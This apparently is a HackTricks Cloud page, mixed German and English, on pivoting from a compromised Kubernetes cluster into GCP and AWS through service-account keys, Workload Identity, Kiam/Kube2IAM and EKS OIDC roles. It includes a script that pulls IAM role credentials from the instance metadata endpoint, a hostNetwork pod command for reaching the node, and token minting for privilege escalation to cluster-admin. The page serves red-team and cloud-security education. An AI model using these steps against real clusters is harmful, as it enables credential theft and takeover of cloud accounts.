Kubernetes Pivoting to Clouds
Reading time: 14 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
GCP
Wenn du einen k8s-Cluster in GCP betreibst, möchtest du wahrscheinlich, dass eine Anwendung im Cluster Zugriff auf GCP hat. Es gibt zwei gängige Methoden dafür:
Mounting GCP-SA keys as secret
Eine übliche Methode, einer kubernetes-Anwendung Zugriff auf GCP zu geben, ist:
- Create a GCP Service Account
- Bind on it the desired permissions
- Download a json key of the created SA
- Mount it as a secret inside the pod
- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is.
warning
Daher solltest du als attacker, wenn du einen container in einem pod kompromittierst, nach dieser env variable und json files mit GCP-Zugangsdaten suchen.
Relating GSA json to KSA secret
Eine Möglichkeit, einer GSA Zugriff in einem GKE cluster zu geben, ist, sie auf folgende Weise zu binden:
- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
kubectl create serviceaccount <service-account-name>
- Erstellen Sie ein Kubernetes Secret, das die Anmeldeinformationen des GCP service account enthält, dem Sie Zugriff auf den GKE cluster gewähren möchten. Sie können dies mit dem
gcloudKommandozeilen-Tool tun, wie im folgenden Beispiel gezeigt:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
- Binde das Kubernetes Secret an das Kubernetes service account mit dem folgenden Befehl:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
warning
Im zweiten Schritt wurden die credentials der GSA als secret der KSA gesetzt. Wenn du dieses secret aus dem Inneren des GKE-Clusters lesen kannst, kannst du zu diesem GCP service account eskalieren.
GKE Workload Identity
Mit Workload Identity können wir ein Kubernetes service account konfigurieren, damit es als Google service account agiert. Pods, die mit dem Kubernetes service account laufen, authentifizieren sich automatisch als der Google service account beim Zugriff auf Google Cloud APIs.
Die erste Reihe von Schritten, um dieses Verhalten zu ermöglichen, ist Workload Identity in GCP zu aktivieren (steps) und das GCP SA zu erstellen, das k8s impersonate soll.
- Enable Workload Identity in einem neuen Cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
- Neuen Nodepool erstellen/aktualisieren (Autopilot clusters benötigen das nicht)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
- Erstelle das GCP Service Account to impersonate aus K8s mit GCP-Berechtigungen:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>
# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
- Verbinde dich mit dem cluster und erstelle das service account, das du verwenden willst
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1
# Generate our testing namespace
kubectl create namespace testing
# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
- Die GSA mit der KSA verbinden
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"
# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
- Starte einen pod mit dem KSA und prüfe den access zu GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-
# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash
# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
Überprüfen Sie den folgenden Befehl zur Authentifizierung, falls erforderlich:
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
warning
Als Angreifer innerhalb von K8s solltest du nach SAs mit der iam.gke.io/gcp-service-account annotation suchen, da dies anzeigt, dass die SA auf etwas in GCP zugreifen kann. Eine andere Möglichkeit ist, jede KSA im Cluster zu missbrauchen und zu prüfen, ob sie Zugriff hat.
Aus GCP ist es immer interessant, die bindings zu enumerieren und zu wissen, welche Zugriffsrechte du SAs innerhalb von Kubernetes gibst.
Dies ist ein Skript, um einfach über alle Pods-Definitionen zu iterieren, um nach dieser Annotation zu suchen:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
AWS
Kiam & Kube2IAM (IAM-Rollen für Pods)
Eine (veraltete) Methode, Pods IAM-Rollen zuzuweisen, ist die Verwendung eines Kiam oder eines Kube2IAM Server. Im Grunde müssen Sie ein daemonset in Ihrem Cluster mit einer Art privilegierter IAM-Rolle betreiben. Dieses daemonset wird den Pods, die es benötigen, Zugriff auf IAM-Rollen gewähren.
Zuerst müssen Sie konfigurieren, welche Rollen im Namespace zugänglich sind, und das machen Sie mit einer Annotation im Namespace-Objekt:
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
Sobald der Namespace mit den IAM roles konfiguriert ist, die Pods haben können, kannst du auf jeder pod definition die gewünschte Rolle angeben, etwa so:
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
warning
Als Angreifer, wenn du diese Annotationen findest in pods oder namespaces findest oder einen laufenden kiam/kube2iam-Server (wahrscheinlich in kube-system) entdeckst, kannst du jede Rolle nachahmen, die bereits von pods verwendet wird, und mehr (wenn du Zugriff auf das AWS-Konto hast, liste die Rollen auf).
Pod mit IAM-Rolle erstellen
note
Die anzugebende IAM-Rolle muss sich im selben AWS-Konto befinden wie die kiam/kube2iam-Rolle, und diese Rolle muss darauf zugreifen können.
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
IAM Role für K8s Service Accounts über OIDC
Dies ist der von AWS empfohlene Weg.
- Zuerst musst du create an OIDC provider for the cluster.
- Dann erstellst du eine IAM role mit den Berechtigungen, die die SA benötigen wird.
- Erstelle eine trust relationship between the IAM role and the SA (oder die Namespaces, die der Rolle Zugriff für alle SAs des Namespace geben). Die Vertrauensbeziehung prüft hauptsächlich den Namen des OIDC providers, den Namen des Namespace und den Namen der SA.
- Schließlich erstelle eine SA mit einer Annotation, die die ARN der Rolle angibt, und die pods, die mit dieser SA laufen, haben Zugriff auf das token der Rolle. Das token wird in eine Datei geschrieben und der Pfad ist in
AWS_WEB_IDENTITY_TOKEN_FILEangegeben (default:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml
# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
Um aws mit dem Token aus /var/run/secrets/eks.amazonaws.com/serviceaccount/token abzurufen, führe aus:
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
warning
Als Angreifer: Wenn Sie einen K8s-Cluster enumerieren können, prüfen Sie auf service accounts with that annotation um escalate to AWS. Dazu einfach einen exec/create eines pod mit einem der IAM privileged service accounts durchführen und das Token stehlen.
Außerdem: Wenn Sie sich in einem pod befinden, prüfen Sie Umgebungsvariablen wie AWS_ROLE_ARN und AWS_WEB_IDENTITY_TOKEN.
caution
Manchmal ist die Turst Policy of a role schlecht konfiguriert und statt dem erwarteten service account AssumeRole-Zugriff zu geben, wird er all the service accounts gewährt. Daher, wenn Sie in der Lage sind, eine Annotation auf einem kontrollierten service account zu schreiben, können Sie auf die role zugreifen.
Prüfen Sie die following page for more information:
Pods und SAs mit IAM Roles im Cluster finden
Dies ist ein Skript, um einfach iterate over the all the pods and sas definitions looking for that annotation:
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
Node IAM Role zu cluster-admin
Der vorherige Abschnitt behandelte, wie man IAM Roles mit pods stiehlt, aber beachte, dass ein Node des K8s cluster eine Instanz in der Cloud ist. Das bedeutet, dass der Node sehr wahrscheinlich eine IAM role haben wird, die du stehlen kannst (Hinweis: normalerweise haben alle nodes eines K8s cluster dieselbe IAM role, daher lohnt es sich möglicherweise nicht, jeden Node zu prüfen).
Um auf den node metadata endpoint zuzugreifen, musst du:
- In einem pod sein und den metadata endpoint auf mindestens 2 tcp hops konfiguriert haben. Dies ist die häufigste Fehlkonfiguration, da üblicherweise verschiedene pods im cluster Zugriff auf den metadata endpoint benötigen, damit nichts kaputtgeht, und viele Unternehmen einfach Zugriff auf den metadata endpoint von allen pods im cluster erlauben.
- In einem pod mit
hostNetworkenabled sein. - Auf den Node ausbrechen und direkt auf den metadata endpoint zugreifen.
(Beachte, dass der metadata endpoint wie immer unter 169.254.169.254 liegt).
Um auf den Node auszubrechen kannst du den folgenden Befehl verwenden, um einen pod mit hostNetwork enabled auszuführen:
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
Steal IAM Role Token
Zuvor haben wir besprochen, wie man attach IAM Roles to Pods oder sogar wie man escape to the Node to steal the IAM Role, die der Instance zugeordnet ist.
Du kannst das folgende Skript verwenden, um deine neu hart erarbeiteten IAM role credentials zu steal:
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
Privesc to cluster-admin
Kurz gesagt: wenn es möglich ist, von einem pod auf die EKS Node IAM role zuzugreifen, ist es möglich, das gesamte kubernetes cluster zu kompromittieren.
Für mehr Informationen siehe diesen Beitrag. Zusammengefasst: Die standardmäßige IAM EKS-Rolle, die den EKS nodes standardmäßig zugewiesen wird, hat innerhalb des Clusters die Rolle system:node. Diese Rolle ist sehr interessant, obwohl sie durch die kubernetes Node Restrictions eingeschränkt ist.
Der node kann jedoch immer Tokens für service accounts generieren, die in Pods auf dem node laufen. Wenn der node also einen Pod mit einem privilegierten service account ausführt, kann der node ein Token für diesen service account erzeugen und es verwenden, um sich als diesen service account auszugeben, wie in:
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
References
- https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity
- https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c
- https://blogs.halodoc.io/iam-roles-for-service-accounts-2/
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud